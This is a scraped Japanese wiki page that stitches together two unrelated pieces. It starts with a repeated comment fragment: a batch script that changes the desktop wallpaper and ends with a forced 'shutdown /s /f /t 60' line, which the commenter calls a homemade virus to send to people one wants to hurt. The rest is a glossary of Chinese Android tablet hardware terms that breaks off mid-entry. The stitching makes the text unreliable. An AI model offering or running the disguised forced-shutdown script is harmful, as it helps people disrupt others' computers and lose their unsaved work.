rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters rem ①画像ファイルの設定 set WALLPAPER_IMG=C \Users\君のユーザー名\Downloads\好きな画像.jpg rem ②デスクトップの背景に設定するレジストリ登録 reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d %WALLPAPER_IMG% /f rem ③画像の拡大表示設定 reg add "HKCU\control panel\desktop" /v WallPaperStyle /t REG_SZ /d 2 /f rem ④背景の変更を適用するコマンドを連打する※ rem 1回では反応しないことが多いため複数回挿入しています RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters shutdown /s /f /t 60 ←自作ウイルス 拡張子は.bat 痛めつけたい奴がいたらそいつにどうぞ 嫌な奴には効果てきめんSoGoood♪なウイルスです。 d(≧▽≦d)イイネ!コノウイルス! -- (mizudanngo virus) 2023-08-02 12 42 25 さ -- (なな) 2023-11-25 11 59 44
https://w.atwiki.jp/china_pad/pages/375.html
編集中。 用語集2の内容は未追記。 +記事一覧 数字3G(すりーじー、3rd Generation) 3G/LTEドングル 5インチ 8インチ(8インチタブ) AActions(あくしょんず) AFFS液晶(えーえふえふえす-えきしょう) Ali(あり) Allwinner(おーるうぃなー、全志科技) Amlogic(あむろじっく) Android(あんどろいど) Antutu(あんちゅちゅべんちまーく) Ainol(あいの) apk(えーぴーけー) Archos(あるこす) ARMアーキテクチャー(あーむあーきてくちゃー) ARM9(あーむないん) ARM11(あーむいれぶん) AUO(えーゆーおー、AU Optronics) CCIFS(しーあいえふえす、CIFSモジュール) CJKフォント(CJK characters) CMI(しーえむあい、奇美電子) Cortex-A5(あーむ こーてっくす えーふぁいぶ、ARM Cortex-A5) Cortex-A7(あーむ こーてっくす えーせぶん、ARM Cortex-A7) Cortex-A8(あーむ こーてっくす えーえいと、ARM Cortex-A8) Cortex-A9(あーむ こーてっくす えーないん、ARM Cortex-A9) Cortex-A15(あーむ こーてっくす えーふぃふてぃーん、ARM Cortex-A15) Cortex-A53(あーむ こーてっくす えーふぃふてぃすりー、ARM Cortex-A53) Cortex-A57(あーむ こーてっくす えーふぃふてぃせぶん、ARM Cortex-A57) cpuinfo(しーぴーゆーいんふぉ) CUBE(きゅーぶ、酷比魔方) CWM(くろっくわーくもっど、ClockWorkMod Recovery) Cyanogenmod(さいあのじぇんもっど) DDual Core(デュアル-コア) EE-FUN(いーふぁん) EKEN(えーけん) Exynos(えくしのす) GGooglePlay(ぐーぐるぷれい) Gセンサー(加速度センサー、傾きセンサー) GPS(じーぴーえす、Global Positioning System) GPU(じーぴーゆー、Graphics Processing Unit) HHDMI(えいちでぃーえむあい) HKMG(はいけーめたるげーと) HWデコーダ(ハードウェアコーデック、デコーダ) IICOO(いこー、爱可西谷电子科技) imp3.net(あいえむぴーすりーねっと) iPad(あいぱっど) IPS液晶(あいぴーえすえきしょう) IPコア(あいぴーこあ) JJXD(じぇーえっくすでぃー、金星JXD) KKindle(きんどる) MMali Mali400(まり400) MediaTek(めでぃあてっく) MID(えむあいでぃー) MIPS(みっぷす) MX動画プレーヤー(えむえっくすどうがぷれいやー) OOEM(おーいーえむ、Original Equipment Manufacturer) OGS(おーじーえす、One Glass Solution) OTA(おーてぃーえー、Over-The-Air) ONDA(おんだ) PPowerVR(ぱわーぶいあーる) QQuad Core(クアッド-コア) RRAM(Random Access Memory) Ramos(らもす、蓝魔) Realtek(りあるてっく) Rockchip(ろっくちっぷ、瑞芯微電子) ROM(ろむ、Read Only Memory) SSDカードスロット(MicroSDカードスロット) Single Core(しんぐるこあ) Slatedroid(すれーとどろいど) SmartQ(すまーときゅー) Snapdragon(すなっぷどらごん、Qualcomm Snapdragon) SnapdragonS4 APQ8064(すなっぷどらごん えすふぉー えーぴーきゅーえいとぜろしっくすふぉー) SoC(えすおーしー、System-on-a-Chip) TTeclast(てくらすと) Tegra(てぐら、Nvidia Tegra) TS(とらんすぽーとすとりーむ、MPEG2-TS) TN液晶(てぃーえぬえきしょう) TWRP(ちーむうぃんりかばりぷろじぇくと) UUSB OTG(ゆーえすびーおんざごー、USB Host) VVivante (ヴぁいヴぁんと、ヴぃヴぁんて) WWiDi(わいだい) Wi-Fi(わいふぁい) Window(ういんどう) その他(よく使われる略称など)2コア、x2、*2→Dual Core 4コア、x4、*4→Quad Core A5→Cortex-A5 A7→Cortex-A7 A8→Cortex-A8 A9→Cortex-A9 A10→AllwinnerA10 A31→AllwinnerA31 Fire→Ainol Novo7Fire GT1→Cube U30GT GT2→CUBE U30GT2 GT4→CUBE U9GT4 T7→HYUNDAI T7 T7s→HYUNDAI T7s コメント(追加希望、間違いなどがあればどうぞ) 数字 3G(すりーじー、3rd Generation) 携帯電話でお馴染みの第3世代移動通信システム 中華パッドでもこれに対応しているものがいくつかある MediaTek系のSoCを搭載したものが多いが、A10やRK3066などでも対応した端末はある 3G/LTEドングル 携帯電話でお馴染みの移動通信システム、をUSBで利用することができる 中華パッドはこれに対応したものが非常に多く USBOTGを利用すれば、SIMカードスロットがないものでも3G通信ができるとか L-02C(要pppwedget)やHuawei E1750が利用できたという報告がある(VVSUM K7) この手のドングルに関する情報はあまり充実していないので、使用可能だったなどの報告があれば 是非こちらのwikiにも報告してもらえると嬉しい 5インチ 5インチのタブレットのこと 最近ではスマートフォンでもこのくらいのサイズが多い 中華では、原道 N50やChanjiang N7300などが代表的 ポータブルAV板の5インチスレでは 一部の中華スマートフォンや、5インチ以外の端末も多く扱っており 実質的には7インチ未満の、中華Android端末全般のスレッドとなっている ある意味中華関連のスレでは、異色の存在(?) 8インチ(8インチタブ) 8インチのタブレットのこと、中華タブではこのサイズのタブが一定数ある スペックに関してはタブごとにそれぞれ異なるが このサイズのタブは、液晶の解像度や縦横比がiPad miniに近いものが多い (8インチ1024x768 4 3比率 160ppi) またiPad miniの流用品と思われる、7.85インチ1024x768のIPS液晶を搭載したものもあったりする ただし現状では7インチや10インチに比べ、液晶の解像度の選択肢が狭く 1024x768がほとんど、たまに古いタブで800x600や1280x768がある程度である iPad miniにもRetinaが採用されるという噂があるが これが実現すれば、9.7インチのものと同様8インチにもRetinaが降りてくるかもしれない? 4 3比率で横幅が長いおかげか、解像度こそ低いものの漫画などは 7インチのものと比べると見やすいという声もある ただし大型化の宿命か、液晶以外同スペックの7インチタブと比較すると 値段が少し高めになることが多い(10インチと7インチほどの差ではない) A Actions(あくしょんず) 2001年設立。正式な社名はActions Semiconductor.(炬力集成) ポータブルプレーヤー、タブレットのSoCなどを製造している わりと古参の、中国の大手ファブレス半導体企業 実は設立前の90年代から、台湾・香港・韓国のエンジニアのグループが IC設計チームを結成して、珠海(マカオ)を拠点として玩具やゲーム用のICを製造していた 特に電源管理ユニットなど、アナログとデジタルの信号を同時に扱う ミックスドシグナル関連の技術に強かったとか ただし株式公開後、Actionsは利益の配分に関して内輪もめを起こし 2007年までに7割ものエンジニアが、Actionsを去ったようだ そのエンジニアの一部が、ライバルとなるAllwinnerを設立している タブレットに関してはAllwinnerやRockchipに遅れて参入したが 現在ACT ATM7029(OWLシリーズ、ARM)、ACT ATM7013(MIPS)などのラインナップがある AFFS液晶(えーえふえふえす-えきしょう) 正式にはAdvanced Fringe Field Switching。FFS液晶と呼ばれることもしばしば GalaxyTabなどタブレットで広く採用されている。中華では CUBE U17GT やCUBE U9GT4で採用された。 IPS液晶の発展系の一つであり、韓国のHydis社が開発 従来のIPS液晶に比べ透過率が高く、広視野角高コントラスト低消費電力という優れもの 日立のIPS-PROやサムスンのPLS液晶でも、この技術が応用されている Ali(あり) 主に中華スレでは、中国の大手海外通販サイト AliExpress を指す 様々な業者が出店しており、初期不良などの対応は業者によりまちまち 国内の輸入業者より安いことも多いが、返品時に海外発送が必要などのデメリットもある Allwinner(おーるうぃなー、全志科技) 中華パッドのSoCメーカー。AllwinnerA10が有名 Boxchip(合智)やSochip(索智)という表記のことも Actions Semiconductorから社員が独立して、設立された所らしい AllwinnerのAllwinnerA10はシングルコアCortex-A8のチップとしては最も多く出荷されたチップである Allwinner公式 曰く、AllwinnerA10はICチップ関連で数々の表彰を受けたとか ARMもGPUのコアIP・Maliの成功例として AllwinnerA10が設計開始からわずか7ヶ月で出荷された例を挙げるなど、とても評価が高い(?) またAllwinnerのSoCは基本的にデコーダーの性能がとても高く AllwinnerA10はフルHDの4倍の2160p、AllwinnerA31は2304p(100Mbps) に対応するなど、次世代クラスの動画再生能力を誇る Amlogic(あむろじっく) 中華パッドのSoCを作っている。Amlogic8726-MXやAmlogic8726-Mが有名 Amlogic - Leader in video, image and audio pro http //www.amlogic.com/ Android(あんどろいど) スマートフォンなどでもお馴染みのOS(プラットフォーム) Linuxベースで誰でも無料で利用することができる Androidのアプリや端末の開発が自由にでき、汎用性があるため多くの携帯メーカーが参入している ある意味スマホ・タブレット界のWindows的な存在 ほとんどの中華パッドに採用されており、端末の数は日々増え続けている javaで書かれているため ARM に限らず色々なCPUで動くようにできているが 実際にはx86やMIPSでは動作しないアプリも多い 現在の最新バージョンはAndroid4.2 (JellyBeans) Antutu(あんちゅちゅべんちまーく) Androidで定番のベンチマーク。中華スレではこれの数値を用いることが多い(?) 最新バージョン(2013年1月時点)のv3.03では 評価方法がv2.xxの時と大きく変わったので注意が必要 v3の方がGPUの性能を正しく評価するようになっており、スコアが全体的に高くなる またv3からは解像度の影響がGPUのスコアで大きく出るようになった さらにv3.1からはコアの性能が、スコアに正確に反映されるようになった? Ainol(あいの) 2004年に設立の大手(?)中華パッドメーカー。中国語では艾诺 MP3プレイヤーやMP4プレイヤーなども製造。中華パッドのNovoシリーズを販売している Novo7AuroraやNovo7Fireが有名 多分中華パッドのメーカーで1番知名度が高い 関連項目 Ainol 端末一覧 apk(えーぴーけー) パッケージングされたAndroidアプリのファイル。アプリを直接インストールすることができる マーケットを介さなくてもいいので便利 iOSで言うipaや.pxlなどのファイルに相当する Archos(あるこす) フランスの家電メーカー、低価格タブレットを販売している 中華タブと直接の関係はないが、Rockchip RK3066など 俗に言う中華チップを積んだものも、しばしばあったりする TI OMAP4を搭載したArchos 80 G9や Rockchip RK3066を搭載したArchos GamePadなどの機種がある Archos - wikipedia http //en.wikipedia.org/wiki/Archos#Archos_9_PC_Tablet ARMアーキテクチャー(あーむあーきてくちゃー) 英ARM社が開発するプロセッサIP。世界中の組み込み向けなどで活躍している PCのCPUと比べ、消費電力がとても低いことが特徴 32ビットの組み込み向けCPUでは、ARMベースのものが75%以上を占める 携帯電話市場ではほぼARMの寡占状態であり ゲーム機でもNintendo-DSやPS VITAなどに採用された また互換プロセッサを含め、ほとんどのスマートフォン,タブレットでも搭載されている ARM社はプロセッサのIPをライセンス供給、それを元に各社がチップを設計する形なっており QualcommのSnapdragonや、Apple A6など独自の変更を加えた互換プロセッサも存在する 現在のラインナップは アプリケーション向けのCortex-Aシリーズ、組み込み向けのCortex-Rシリーズ マイクロコントローラー向けのCortex-Mシリーズ、の3種類 このうち、Cortex-Aシリーズは中華パッドでもよく使われる リンク ARM - The Architecture For The Digital World http //www.arm.com/ja/ ARM9(あーむないん) Nintendo-DSに搭載された。他にも様々な組み込み機器向けで活躍している が、Androidを動かすのに十分な性能があるとは言えない... ごく初期の安価なもので、これを搭載していることがあった Cortex-A9 と勘違いしないように ARM11(あーむいれぶん) 世界初のAndroid端末、HTC Dreamに搭載された が、最近のAndroid端末を動かすのに十分な性能があるとは言えない... ARM11という名前だが A8 や A9 よりも古いコア 現在でもMediaTek MT6573(3G機能あり)などに搭載されている AUO(えーゆーおー、AU Optronics) 1996年に設立。正式な社名はAU Optronics(友達光電) PCのディスプレイやプロジェクタでお馴染み、台湾BenQの子会社 Acerの液晶部門と、BenQの子会社Unipac Optoelectronicsが合併して誕生した 液晶パネルの製造ではLG,サムスンと並んで世界最大手の一つ、テレビ向けの大型パネルなどでも強いとか? 中華パッドの液晶でも当然よく用いられる 一世を風靡した(?)Ainol Novo7AuroraのIPS液晶もここのパネルのロットがある? C CIFS(しーあいえふえす、CIFSモジュール) PCの共有フォルダをSDカードのように扱うことができる、動画再生などで特に便利だとか 利用するためにはCIFS Managerというソフトを使う ファームウェアによっては元からこれに対応しており 機種によっては、ドライバのインストールで対応させたりすることもできる 原道 N70双撃やU30GT(RK3066)用のcifsドライバ↓ http //ameblo.jp/feriross/entry-11386839954.html CJKフォント(CJK characters) 中国語・日本語・韓国語の統合フォントのこと 普通の日本語フォントと表示が異なる。特に一部の漢字などで特に顕著 (「直」「板」など) Android2.x系までは、海外向けのROM・端末などでは 日本語フォントがデフォルトでインストールされおらず、自分で入れる必要があった 現在、Android4.x系ではデフォルトで日本語フォントが入っているが 一部の中華タブでは、なぜかAndroid4.x系でも日本語フォントが入っていないことも 具体的にはこんな感じ 基本的な日本語フォント導入法(要root) (あくまで基本的なものですので、端末によって別の手順が必要なこともあります) Android2.x系 ESファイルエクスプローラーなどで、/system/fonts/ に DroidSansJapanese.ttfという名前にした、TrueType/OpeType形式の日本語フォントを コピーし、再起動することで、日本語フォントがインストールできます Android4.x系 ESファイルエクスプローラーなどで、/system/fonts/ フォルダに、 任意の名前のTrueType/OpeType形式の日本語フォントをコピーし、 さらに /system/etc/fallback_fonts.xml ファイルを書き換え、最後に登場するDroidSansFallback.ttfの直前に、さっきのフォント名を追加し、再起動してください (system/etc/fallback_fonts-ja.xmlがある場合、そちらも同じように書き換えてください) CMI(しーえむあい、奇美電子) 世界最大手の液晶パネル製造会社の1つ、名前が群創光電に変更された マザボやふぉっくす紺子、iPhoneの製造、最近ではシャープ救済などでお馴染み鴻海(Foxconn)の子会社 台湾の石油化学大手、奇美実業の子会社だったが、奇美実業が液晶パネル事業から撤退したため Foxconn(鴻海)傘下の群創光電と合併し、Foxconn傘下となった 中華パッドでも、もちろんよく採用される Ainol Novo7Fireでは奇美電子の液晶が用いられたロットと、天馬電子の液晶が用いられたロットがある Cortex-A5(あーむ こーてっくす えーふぁいぶ、ARM Cortex-A5) ARM社のプロセッサIP。性能は1.57 DMIPS/MHz(コアあたり) 名前こそA5だがCortex-A9より新しい。 電力に対する性能が優れており、とても省電力で小型なコアである ARM公式曰くARM11以上の性能をARM9の消費電力で発揮する...とか Cortex-A9の性能を100とすれば、同じコア数と同じクロックという前提で それぞれCortex-A5が60、Cortex-A7が75、Cortex-A8が80、Cortex-A15が140くらいの性能 Cortex-A8やCortex-A9と互換性を持ち、マルチコアにも対応 しかし性能自体はCortex-A8やCortex-A9と比べてとても低い ACT ATM7029(シングルコア)や、Infotmic iMAPx820(デュアルコア)に採用されている ちなみにパイプラインは9段で、インオーダー、1命令実行になっている リンク Cortex-A5プロセッサ - ARMより http //www.arm.com/ja/products/processors/cortex-a/cortex-a5.php アーキテクチャ ARMv7-A Cortex Dhrystone性能 1.57 DMIPS/MHz(コアあたり) マルチコア1~4コア シングル コア バージョンも提供 ISAのサポート ARM Thumb®-2 / Thumb DSP SIMD拡張機能 VFPv4浮動小数点(オプション) NEON™ Advanced SIMD(オプション) Jazelle® DBXおよびRCT メモリ管理 ARMv7メモリ管理ユニット デバッグ トレース CoreSight™ DK-A5 Cortex-A7(あーむ こーてっくす えーせぶん、ARM Cortex-A7) ARM社のプロセッサIP。性能は1.9 DMIPS/MHz(コアあたり)で、最大1.5GHz 電力に対する性能が、現時点のARMのプロセッサの中で最も優れている とても省電力で小型なコア。Cortex-A8より80%も消費電力が低いらしい。 また Cortex-A15 と連携させることで(big.LITTLE構成)、超低消費電力かつ高性能を実現することができる Cortex-A9の性能を100とすれば、同じコア数と同じクロックという前提で それぞれCortex-A5が60、Cortex-A7が75、Cortex-A8が80、Cortex-A15が140くらいの性能 Cortex-A15 と互換性を持ち、4コアまでのマルチコアやNEONにも対応 28nmで製造することで1GHz以上のクロックでも動かすことができるようだ 各種ベンチマークの性能でもCortex-A8を上回るとか 大体1GHzのCortex-A7クアッド=1.5GHzのCortex-A9デュアルくらいの性能 シングルスレッド性能で後者が勝るため、体感ではA9デュアルのほうが早いとかなんとか 実は2013年1月現在で、Cortex-A15よりも新しい最新のコアだったりする AllwinnerA31(40nmクアッドコア)や、MediaTek MT6589(28nmクアッドコア)に採用 パイプラインは8段で、インオーダー、限定的2命令同時実行 搭載SoC [[AllwinnerA31s AllwinnerA31 AllwinnerA20 MediaTek MT6589 Samsung Exynos5450(big.LITTLE) リンク Cortex-A7プロセッサ - ARMより http //www.arm.com/ja/products/processors/cortex-a/cortex-a7.php アーキテクチャ ARMv7-A Cortex マルチコア シングル プロセッサ クラスタ内に1~4のコア AMBA® 4テクノロジを使用した複数コヒーレントSMPプロセッサ クラスタ ISAのサポート ARM Thumb-2 TrustZone®セキュリティ テクノロジ NEON™ Advanced SIMD DSP SIMD拡張機能 VFPv4浮動小数点 Jazelle® RCT ハードウェア仮想化のサポート Large Physical Address Extensions(LPAE) メモリ管理 ARMv7メモリ管理ユニット デバッグ トレース CoreSight™ SoC-400 Cortex-A8(あーむ こーてっくす えーえいと、ARM Cortex-A8) ARM社のプロセッサIP。ARM初の本格的なアプリケーション向けコア。 性能は2.0 DMIPS/MHz(コアあたり)で、最大1GHz A8という名前だがCortex-Aシリーズの中ではA5やA7よりも古い。 たまにこれでデュアルコアを謳うものもあるが、マルチコアには非対応である。 2010年発売のAndroidスマートフォンで多く採用され iPhone4やGalaxySにも採用されている 中華パッドではRockchip RK2918やAllwinnerA10で採用された 現在はCortex-A9のデュアルコアやクアッドコアが主流であり シングルコアのCortex-A8は完全に型落ちというべき性能だが 電子リーダーやデジタルフォトフレームなど、あまり性能が要求されない用途であればありかもしれない? パイプラインは13段で、インオーダー、限定的2命令同時実行 搭載SoC Allwinner A13 Allwinner A12 Allwinner A10 Allwinner A10s Rockchip RK2918 Rockchip RK2906 Apple A4 Freescale Semiconductor i.MX51x Samsung Exynos3110 TI OMAP3 TI Sitara ARM MPU AM3x Conexant CX92755 リンク Cortex-A8プロセッサ - ARM http //www.arm.com/ja/products/processors/cortex-a/cortex-a8.php Cortex-A9(あーむ こーてっくす えーないん、ARM Cortex-A9) ARM社のプロセッサIP。性能は2.5 DMIPS/MHz(コアあたり)で、最大2GHz NEON SIMD命令やアウトオブオーダーを採用し、Cortex-A8比で30%ほど性能が上昇した。 また4コアまでのマルチコアに対応している。 Cortex-A9の性能を100とすれば、同じコア数と同じクロックという前提で それぞれCortex-A5が60、Cortex-A7が75、Cortex-A8が80、Cortex-A15が140くらいの性能 2013年1月現在で主流となっているコアである。もちろん中華パッドでも主流。 Rockchip RK3066やAmlogic AML8726-MXなど多くのSoCで採用されている パイプラインは9段から12段の可変長で、アウトオブオーダー、2命令同時実行 搭載機器、搭載SoC Rockchip RK3188 Rockchip RK3066 Rockchip RK2926/2928 Amlogic AML8726-MX Amlogic AML8726-M3 Amlogic AML8726-M Samsung Exynos4412 Samsung Exynos4212 Samsung Exynos4210 MediaTek MT6577 MediaTek MT6575 Nufront NuSmart 2816 Nufront NuSmart 2816M Nufront NuSmart 115 Nvidia Tegra3 Nvidia Tegra2 Freescale i.MX6Quad Freescale i.MX6Dual Freescale i.MX6DualLite Freescale i.MX6Solo HiSilicon K3V2 Hi3620 HiSilicon K3V2T Renesas Electronics EMMA Mobile/EV2 TI OMAP4470 TI OMAP4460 TI OMAP4430 Apple A5X Apple A5 Sony PlayStation Vita STMicroelectronics SPEAr1340 STMicroelectronics SPEAr1310 ST-Ericsson NovaThor U9500 ST-Ericsson NovaThor U8500 ST-Ericsson Nova A9500 Xilinx Extensible Processing Platform ZiiLABS ZMS-20 Broadcom BCM11311 (Persona ICE) Trident Microsystems 847x/8x/9x SoC family Calxeda EnergyCore ECX-1000 Altera SoC FPGA リンク Cortex-A9プロセッサ - ARM http //www.arm.com/ja/products/processors/cortex-a/cortex-a9.php Cortex-A15(あーむ こーてっくす えーふぃふてぃーん、ARM Cortex-A15) ARM社のプロセッサIP。性能は3.5 DMIPS/MHz(コアあたり)で、最大2.5GHz Cortex-A9から格段に性能が上がっており、そのせいかA10ではなくA15という名前になった 中華パッドでこれが搭載されているものは少ないが、Samsung Exynos5250を採用した 神行者 PD800HDはデュアルコアのCortex-A15を搭載している サーバー用途を睨んでか、16コアまでのマルチコアに対応している Nvidia Tegra4やSamsung Exynos5250に搭載 Cortex-A9の性能を100とすれば、同じコア数と同じクロックという前提で それぞれCortex-A5が60、Cortex-A7が75、Cortex-A8が80、Cortex-A15が140くらいの性能 Cortex-A15ではパイプラインが広がり、Cortex-A9やA8が2つまでしか命令を同時実行できなかったのを 3つまで同時に実行できるようになっており、Cortex-A9から1.5倍に近い性能の向上を果たした Snapdragonのkraitが、あくまで条件付きでしか同時に3つ実行できないことを考えると 現行のARMのCPUコアとしては、最も高い性能を誇っている ただしCortex-A15は性能上昇に対し、必然的に消費電力も増加しており DVFSなど、負荷に応じて電圧を下げる機能を用いても、Cortex--A15では下げられる電圧の下限が低い そのためARMはbig.LITTLEという、省電力な Cortex-A7 との組み合わせを提唱している パイプラインは15段以上の可変長で、アウトオブオーダー、3命令同時実行 搭載SoC(搭載予定も含む) Samsung Exynos5450 (Cortex-A15*4 + Cortex-A7*4 + Mali-T678MP4?) Samsung Exynos5250 (Cortex-A15*2 + Mali-T604MP4) Nvidia Tegra4 (Cortex-A15*(4+1) + GeForceULP*72core) TI OMAP5430/5432 (Cortex-A15*2 + PowerVR SGX544MP2+(2D)Vivante GC320) ST-Ericsson Nova A9600 HiSilicon K3V3 リンク Cortex-A15プロセッサ - ARM http //www.arm.com/ja/products/processors/cortex-a/cortex-a15.php Cortex-A53(あーむ こーてっくす えーふぃふてぃすりー、ARM Cortex-A53) ARMv8アーキテクチャという、Cortex-A15までとは異なるアーキテクチャーを採用 64bitにも対応しているが、ARMv7とは完全な互換性を備えている 現在の(2012年10月)のハイエンドスマートフォンの性能を (半導体プロセスの微細化を前提として)1/4の電力で実現できるようになるらしい 低コストで高性能なスマートフォンが提供されるようになるとか また、Cortex-A57とのbig.LITTLE構成もできる 立ち位置はCortex-A15に対するCortex-A7みたいな感じだろうか クロックあたりの性能は大体Cortex-A9くらいらしい? 10nmクラスのFinFET(立体でチップ作る奴)で製造することにより、2,3GHzでの駆動が予定されている 2014年あたりから搭載チップが発表されるとか? Cortex-A57(あーむ こーてっくす えーふぃふてぃせぶん、ARM Cortex-A57) ARMv8アーキテクチャという、Cortex-A15までとは異なるアーキテクチャーを採用 64bitにも対応しているが、ARMv7とは完全な互換性を備えている 現在の(2012年10月)の最先端モバイルSoC(具体的には不明)と同じ消費電力で (半導体プロセスの微細化を前提として)3倍の性能を実現するらしい 64bitなのでサーバーなどの大規模処理でも、性能を発揮できる またCortex-A53とは完全な互換性を持ち、big.LITTLE構成もできる 立ち位置はCortex-A7に対するCortex-A15みたいな感じだろうか クロックあたりの性能は大体Cortex-A15の1.2倍程度? 10nmクラスのFinFETで製造することにより、2,3GHzでの駆動が予定されている 2014年あたりから搭載チップが発表されるとか? cpuinfo(しーぴーゆーいんふぉ) linuxでCPU情報を知ることができるコマンド。 Terminal Emulator をインストールして cat /proc/cpuinfo と入力すればこのコマンドを実行することができる 初期の中華パッドではよくスペックを調べるのに用いられていたが 次第にあまり行われなくなった が、最近(2013年2月)でもACT ATM7029の詳細スペックを調べるのに用いられたりも 例 Ainol Novo10 Hero四核 Processor ARMv7 Processor rev 1 (v7l) ←プロセッサの命令セット(ARMv7など) processor 0←プロセッサのコア数 BogoMIPS 1114.46←プロセッサの性能 processor 1 BogoMIPS 1114.46 processor 2 BogoMIPS 1114.46 processor 3 BogoMIPS 1114.46 Features swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 ←拡張命令など? CPU implementer 0x41 ←CPUの製作者、0x41はARMを指す CPU architecture 7 CPU variant 0x0 CPU part 0xc05 ←CPUの型番、これはCortex-A5のもの CPU revision 1 Hardware gs702a Revision 0000 Serial 0000000000000000 CUBE(きゅーぶ、酷比魔方) 中華パッドの大手(?)メーカー。漢字名の酷さは気にしてはいけない MP3プレイヤーやモバイルバッテリーも販売している 中華スレでは、中華パッドの中ではまだ品質がマシとの評判(?) とはいえ壊れる時は余裕で壊れるので、過度の期待はしないほうがいいかもしれない 実はきゅーびーという読みらしい。 関連項目 CUBE 端末一覧 酷比魔方 - CUBE http //www.51cube.com 酷比魔方 - CUBE 公式BBS http //bbs.51cube.com/forum-19-1.html Weibo - 深圳酷比魔方品牌 http //e.weibo.com/zouqiyi1?ref=http%3A%2F%2Fwww.imp3.net%2F10%2Fshow.php%3Fitemid%3D38025%26page%3D5 CWM(くろっくわーくもっど、ClockWorkMod Recovery) カスタムリカバリーの一種。中華パッドでも利用できる機種がある ROMのバックアップを取ったり、復元するだけでなく カスタムROMを焼いたりフォントを差し替えたり、色々なことに使えて便利だとか 中華パッドの場合、公式のFWを焼くだけでシステムを初期化できることが多いので (その分他のデータも全て消えるタイプが多いが) 一般的なタブレットや、スマートフォンほど必須というわけではないが やはりあれば便利なものである ある程度海外で人気がある機種だと、その端末向けのCWMを有志が作ってくれていることもある 導入したい場合は、Slatedroidなどで探してみるといいかもしれない Cyanogenmod(さいあのじぇんもっど) Androidの有名なカスタムROM 中華パッドでもいくつかの端末で移植されている D Dual Core(デュアル-コア) 1つのパッケージ(SoC)の中に、2つのプロセッサコアが集積されたSoCのこと。 シングルコアに比べてとても高い性能であることが多い 2コアやx2と表記されていることもしばしば このwikiの左のメニューでCortex-A9*2などと書かれているものが該当する 2つの独立したコアを持ち、他のコアに影響されることなく動作が可能 処理を分担することで性能を上昇させている 消費電力も当然増えるが、シングルコアと比較した場合 一般的にデュアルコアのほうが、低い消費電力で同じ性能を実現できるとされる(?) ただしソフト側でデュアルコアに対応していないと、完全な性能を発揮できない Androidの場合、OSレベルでデュアルコアに対応しているのは Android4.0(IceCreamSandwitch)からであり デュアルコア機でもOSがICS以前かICS以降かで大きく違うとされている(正確にはマルチコア対応はAndroid3.0からだが) 一部のデュアルコアの機種ではICSのアップデートがされず、問題になったりしたが デュアルコアの中華パッドのほとんどはICS以降なので、その点では安心して欲しい 中華の場合、500MHzのデュアルコアを1GHzと表記したり CPU以外のGPUやDSPなどをカウントして「ManyCore」と書いたり ほとんど詐欺みたいなこともあるので気をつけて欲しい 主な中華パッドのデュアルコアSoCは Rockchip 